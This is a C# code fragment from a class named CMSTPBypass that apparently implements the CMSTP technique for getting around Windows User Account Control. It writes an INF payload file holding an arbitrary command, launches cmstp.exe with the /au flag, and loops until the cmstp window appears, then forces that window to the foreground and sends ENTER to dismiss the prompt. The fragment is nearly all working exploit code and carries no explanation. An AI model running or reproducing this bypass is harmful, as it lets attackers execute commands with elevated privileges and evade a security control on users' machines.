public static bool Execute(string CommandToExecute) { if (!File.Exists(CMSTPBypass.BinaryPath)) { Console.WriteLine("Could not find cmstp.exe binary!"); return(false); } StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append(CMSTPBypass.SetInfFile(CommandToExecute)); Console.WriteLine(string.Concat("Payload file written to ", stringBuilder.ToString())); ProcessStartInfo processStartInfo = new ProcessStartInfo(CMSTPBypass.BinaryPath) { Arguments = string.Concat("/au ", stringBuilder.ToString()), UseShellExecute = false }; Process.Start(processStartInfo); IntPtr zero = new IntPtr(); zero = IntPtr.Zero; do { zero = CMSTPBypass.SetWindowActive("cmstp"); }while (zero == IntPtr.Zero); SendKeys.SendWait("{ENTER}"); return(true); }
public static IntPtr SetWindowActive(string ProcessName) { Process[] processesByName = Process.GetProcessesByName(ProcessName); if ((int)processesByName.Length == 0) { return(IntPtr.Zero); } processesByName[0].Refresh(); IntPtr mainWindowHandle = new IntPtr(); mainWindowHandle = processesByName[0].MainWindowHandle; if (mainWindowHandle == IntPtr.Zero) { return(IntPtr.Zero); } CMSTPBypass.SetForegroundWindow(mainWindowHandle); CMSTPBypass.ShowWindow(mainWindowHandle, 5); return(mainWindowHandle); }